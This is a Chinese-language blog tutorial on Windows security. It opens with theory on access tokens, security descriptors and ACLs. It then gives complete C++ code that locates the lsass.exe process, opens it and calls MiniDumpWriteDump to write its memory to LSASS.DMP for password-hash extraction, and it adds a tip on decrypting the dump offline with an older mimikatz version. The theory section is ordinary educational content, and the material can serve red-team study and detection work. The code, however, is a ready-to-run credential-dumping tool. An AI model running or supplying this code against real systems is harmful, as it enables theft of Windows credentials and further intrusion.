0%

从转储lsass学习Windows安全

0x1 前置理论

访问令牌(Access Token)

Access Token是描述进程或线程的安全上下文的对象。其中包括进程或线程关联的用户账户的身份和权限。

Access Token分为授权令牌(Delegation Token)、模拟令牌(Impersonation token)两种。

Access Token包含以下信息

Delegation Token: 用以交互式会话登陆(本地用户登陆、远程桌面等)

Impersonation Token: 用以非交互式登陆(net user、远程共享访问)

​ 不同的用户登陆计算机后,都会生成一个Access Token,该token会在用户创建进程/线程时都会复制一份Access token用于描述与该进程相关联的用户账户的安全上下文,默认情况下,当进程的线程与安全对象交互时,系统使用授权令牌。此外,线程可以模拟客户帐户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有授权令牌模拟令牌。当用户注销后系统会将授权令牌转换为模拟令牌,并在重启系统后清除。

安全对象

安全对象是可以拥有安全描述符的对象,所有命名的Windows对象都是安全对象。一些未命名的对象,例如进程线程对象也可以拥有安全描述符。。对于大多数的安全对象来说,我们可以在创建对象的函数调用中指定对象的安全描述符

image-20221119200455694

安全描述符

包含与安全对象关联的安全信息。安全描述符由SECURITY_DESCRIPTOR结构及其关联的安全信息组成。安全描述符可以包括以下安全信息:

  • 对象所有者和主要组的安全标识符(SID)。
  • 指定允许或拒绝特定用户或组的访问权限的DACL
  • 指定为对象生成审计记录的访问尝试类型的SACL。
  • 一组控制位,用以限定安全描述符或其各个成员的含义。
访问控制列表(Access control lists)

​ 访问控制列表(ACL)是访问控制条目(ACE)的列表。ACL中每个ACE都标示一个受托者,并为该受托者指定访问权限。安全对象的安全描述符可以包含两种类型的ACL:DACL以及SACL

  • 自由访问控制列表(DACL) 标示允许或者拒绝访问安全对象的受托人。当进程试图访问安全对象时,系统会检查对象的 DACL 中的 ACE,以确定是否授予对它的访问权限。如果对象没有 DACL,系统会授予每个人Full Access权限。如果对象的 DACL 没有 ACE,系统将拒绝所有访问该对象的尝试,因为 DACL 中没有可以通过匹配的ACE条目。系统按顺序检查 ACE,直到它找到一个或多个允许所有请求的访问权限的 ACE,或者直到任何一个请求的访问权限被拒绝。
  • 系统访问控制列表(SACL) 使管理员能够记录访问受保护对象的尝试。每个 ACE 指定特定受托者进行的访问尝试的类型,这些访问尝试会导致系统在安全事件日志中生成记录。SACL 中的 ACE 可以在访问尝试失败和/或成功时生成审计记录。
受托人

​ 受托人是应用访问控制条目(ACE)的用户账户、组账户或者登陆会话。访问控制列表(ACL)中的每个ACE都有一个标示受托人的安全描述符(SID)。

​ 根据前置知识,我们可以得到用户登陆系统后创建进程、线程,程序访问安全对象时的权限会是怎么样的了。

​ 当用户登陆计算机,凭证验证通过后便会拿到一份访问令牌(Access Token),该Token在我们创建进程或线程时会被使用,拷贝explorer.exe中的该用户的访问令牌到新的进程/线程当中用以权限分配。

​ 当程序访问安全对象时,安全对象会检测自身的DACL,若DACL不存在,则对所有程序开放访问权限;若DACL存在,会按顺序查找DACL内的ACL与程序的访问令牌比较判断,判断其是否具有访问权限。

image-20221119204452825

MiniDumpWriteDump函数
1
2
3
4
5
6
7
8
9
BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
1
https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

函数结构如上所示,可利用此函数将进程转储,本文将Lsass.exe转储用以提取Hash。

0x2实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<iostream>
#include<Windows.h>
#include<TlHelp32.h>
#include<DbgHelp.h>
#include<tchar.h>
#pragma comment(lib,"DbgHelp.lib")

int main() {
HANDLE LsassHandle = NULL;
HANDLE OutFile = CreateFile(L"LSASS.DMP",GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,NULL,NULL);
DWORD PID;
HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 Entry;
Entry.dwSize = sizeof(PROCESSENTRY32);
LPWSTR ProcessName;

//查找lsass进程pid
if (Process32First(Snapshot, &Entry)) {
ProcessName = Entry.szExeFile;
PID = Entry.th32ProcessID;
while (_wcsicmp(L"lsass.exe",ProcessName)!=0) {
Process32Next(Snapshot, &Entry);
ProcessName = Entry.szExeFile;
PID = Entry.th32ProcessID;
}
std::cout << "lsass,exe pid is :" << PID << std::endl;
}
else {
std::cout << "snapshot error" << std::endl;
return -1;
}

//拿到lsass进程句柄
LsassHandle = OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
false,
PID
);

//利用MiniDumpWriteDump 转储lsass
BOOL status = MiniDumpWriteDump(LsassHandle, PID, OutFile,MiniDumpWithFullMemory,NULL,NULL,NULL);
if (status)
std::cout << "process dumping succeeded!" << std::endl;
else
{
std::cout << GetLastError() << std::endl;
}
return 0;
}

效果展示,另外,若在解密文件时出现ERROR kuhl_m_sekurlsa_acquireLSA ; Key import,可尝试低版本mimikatz离线解密。 如2.1.1版本。

image-20221119215425139

image-20221119215253912

0x3参考文章

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump